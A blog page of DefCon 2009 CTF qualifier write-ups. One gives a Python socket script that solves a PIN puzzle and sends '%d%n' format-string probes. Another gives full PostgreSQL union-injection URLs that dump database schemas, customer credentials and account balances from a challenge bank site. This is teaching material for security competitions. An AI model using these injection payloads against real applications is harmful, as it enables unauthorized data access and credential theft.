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DefCon CTF Quals GrabBag 300 Writeup

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The question was:
Question: This is semi-real. 🙁
140.197.217.85:10435
Password: 5fd78efc6620f6

When you would connect using netcat you would see a 9 numbers and a user PIN. This would repeat thrice and then you would have to choose the right pin for the fourth pair 6×6 matrix of numbers. My first reaction was either the PINS were constant or they were following a pattern. So I wrote up this quick python script to solve this puzzle which helped me understand the problem also.

#!/usr/bin/python
import socket, re, threading, time
 
lookupdict = []

def process_array_pin(fs,s):
	i = 6
	temp = ''
	pin = ''
	while i > 0:
		line = fs.readline()
		#print line
		#re.match(".{11}(.).{12}(.).{12}(.)", line).group(1)
		test = re.split(' ',line)
		#print test[1],' ',test[3],' ',test[5],' ',test[7],' ',test[9],' ',test[11]
		i = i - 1
		try:
			temp += test[1]+test[3]+test[5]+test[7]+test[9]+test[11]
		except IndexError:
			pass
			#i = 15
			#while i > 0:
			#	print fs.readline()
			#	i = i - 1
			#s.send('2\n')
			#i = 15
			#while i > 0:
			#	print fs.readline()
			#	i = i - 1
	line = fs.readline()
	try:
		pin = re.match("..........User entered: (.*)", line).group(1)
	except:
		pass
	#pin = fs.readline()
	#print 'Line: '+line
	#print 'Pin is : '+pin
	strpin = re.sub(' ','',pin)
	#strpin = re.split(' ',pin)
	#lookupdict[temp] = strpin
	print 'Pin for : ' + temp+' is '+strpin+'\n'
	return temp,strpin
def play():
	global fs, s
	s = socket.create_connection(('140.197.217.85', 10435))
	fs = s.makefile()
	s.send('5fd78efc6620f6\n')
	print fs.readline()
	print fs.readline()
	print fs.readline()
	answer = []
	numTimes = 0
	while numTimes < 5:
		j = 3
		while j > 0:
			test = process_array_pin(fs,s)
			lookupdict.append(test[0])
			lookupdict.append(test[1])
			j = j - 1
			if j > 0:
				numlines = 3
				while numlines > 0:
					fs.readline()
					numlines = numlines - 1
		fs.readline()
		pindigits = list(lookupdict[1])
		#print pindigits
		pinpos = 0
		for num in pindigits:
			i = 0
			start = 0
			end = len(lookupdict[0])
			while i < lookupdict[0].count(num):
				indofinterest = lookupdict[0].find(num,start,end)
				#print 'index of interest '+str(indofinterest)
				if lookupdict[2][indofinterest] == lookupdict[3][pinpos]:
					if lookupdict[4][indofinterest] == lookupdict[5][pinpos]:
						answer.append(indofinterest)
						break
				i = i + 1
				start = indofinterest+1
			pinpos = pinpos + 1
		#print answer
		# Get question
		i = 6
		temp1 = ""
		while i > 0:
			line = fs.readline()
			#print line
			#re.match(".{11}(.).{12}(.).{12}(.)", line).group(1)
			test = re.split(' ',line)
			#print test[1],' ',test[3],' ',test[5],' ',test[7],' ',test[9],' ',test[11]
			temp1 += test[1]+test[3]+test[5]+test[7]+test[9]+test[11]
			i = i - 1
		#fs.read(14)
		#fs.flush()
		print "Question : " +temp1+'\n'
		answerstr = ''
		count = 0
		for i in answer:
			answerstr += temp1[i]
			#print temp1[i],
			count = count + 1
			if count < 4:
				answerstr += ' '
			else:
				answerstr += '\n'
		print "Answer : "+answerstr
		s.send(answerstr)
		output = fs.readline()
		#output = fs.readline()
		print output
		if output.find('Sun') > -1:
			output = fs.readline()
		else:
			a = 10
			while a > 0:
				print fs.readline()
				a = a - 1
			#output = fs.readline()
			#print 'Inside else\n'
			#if output.find('NOVA') > -1:
			#	print 'NOVAFOUND!!!!!\n'
			s.send('2\n')
			print 'Sent last\n'
			a = 100
			while a > 0:
				print fs.readline()
				s.send('%d%n\n')
				a = a - 1
			#print fs.readline()
			break
		del answer[:]
		del lookupdict[:]
		del pindigits[:]
		numTimes += 1
	
	s.close()
#for i in range(2000):
#threading.Thread(target=play).start()
play()

The above file reads the numbers, filters out the formatting that adds color to the digits and picks out the indices that would be chosen as the key.

So to solve this, each pattern of digits had fixed matrix positions that would be chosen as the pin. Once you successfully solve the puzzle four time you are presented with an ATM screen as follows:

 ***NOVABANK ATM menu***

 Balance: $9238740982570237012935.32

 1) withdraw
 2) deposit
 3) transfer
 4) exit

 <disconnected>

The real part is the balance i.e., 9238740982570237012935.32 is the answer. It took me various attempts to solve this one because the answer was for some reason not being accepted by the scoreboard until my teammate submitted it at which time it worked.

This was a really cool problem. Thanks DDTEK.

2

DefCon CTF Quals GrabBag400 Writeup

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This was an interesting PostgreSQL injection challenge.
What is Jeff Moss’ checking account balance?
Bank Site – http://140.197.217.85:8080/boa_bank
User:blacksheep
Password:luvMeSomeSheep

The username and password is to get around the .htaccess that protects the site. There was a page with the zip code search on it. The zip parameter was vulnerable to SQL injection (verified by entering a ‘ character in the zip parameter). With this information you

SQL injection in zip parameter. http://140.197.217.85:8080/boa_bank/find_branch.jsp?zip=5%20or%201=1–&Submit.x=0&Submit.y=0

List of databases can be found by: http://140.197.217.85:8080/boa_bank/find_branch.jsp?zip=5%20%20union%20SELECT%20datname,datname,datname,datname,1,datname%20FROM%20pg_database&Submit.x=0&Submit.y=0

Names of databases
——————
template1
template0
postgres
boa_bank

http://140.197.217.85:8080/boa_bank/find_branch.jsp?zip=5%20%20union%20SELECT%20relname,A.attname,relname,A.attname,1,relname%20FROM%20pg_class%20C,pg_namespace%20N,pg_attribute%20A,pg_type%20T%20WHERE%20(C.relkind=’r’)%20AND%20(N.oid=C.relnamespace)%20AND%20(A.attrelid=C.oid)%20AND%20(A.atttypid=T.oid)%20AND%20(A.attnum%3E0)%20AND%20(NOT%20A.attisdropped)%20AND%20(N.nspname%20ILIKE%20’public’)&Submit.x=0&Submit.y=0

With this query it’s easy to evaluate the type of the parameter as well as the position. This was done by the error message that indicated an “int cannot be compared to text”.

Table,column_name
—————–
transaction,amount
transaction,account
transaction,id
transaction,date
branch,id
branch,zip
branch,city
branch,name
branch,street
branch,phone
branch,state
customer,id
customer,firstname
customer,password
customer,lastname
customer,username
customer,email
account,id -> int
account,owner -> int
account,account -> string
account,balance
account,type -> checking/savings
sqlmapfile,data
test2234,t
hkk,t
mydata,t
mytable,mycol
hk,hk
sonic,sonic

Getting all customers (Jeff Moss can’t be found in the list though)
http://140.197.217.85:8080/boa_bank/find_branch.jsp?zip=5%20%20union%20SELECT%20C.firstname,C.lastname,C.username,C.password,1,C.email%20FROM%20customer%20C&Submit.x=0&Submit.y=0
Lots of complaints were heard that the record wasn’t present for Jeff Moss. But if you just filtered by ‘checking’ account, you would see that it was all the same for all users. The following query gives the list of all checking accounts…but if you notice the value is $0.00 for all checking accounts so Jeff Moss’ account should be 0.00 too!!!

http://140.197.217.85:8080/boa_bank/find_branch.jsp?zip=5%20%20union%20SELECT%20A.account,A.type,A.type,cast(A.balance%20as%20text),A.owner,A.account%20FROM%20account%20A%20where%20A.type%20ILIKE%20’checking’&Submit.x=0&Submit.y=0

Fun times!

0

Defcon CTF Quals 2009 Write-ups

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This time the DefCon CTF challenges were really tough. After about 40 hours of straight effort in those 2 days my head was spinning. There were some nice write-ups that people have posted:
Vedagodz’s site is up at : http://shallweplayaga.me/
Pursuits Trivial 400 writeup : http://pastie.org/510841
Binary l33tness 300 writeup : http://hackerschool.org/DefconCTF/17/B300.html (based on k0rupt’s original work)
Crypto badness 400 : http://beist.org/defcon2009/defcon2009_crypto400_solution.txt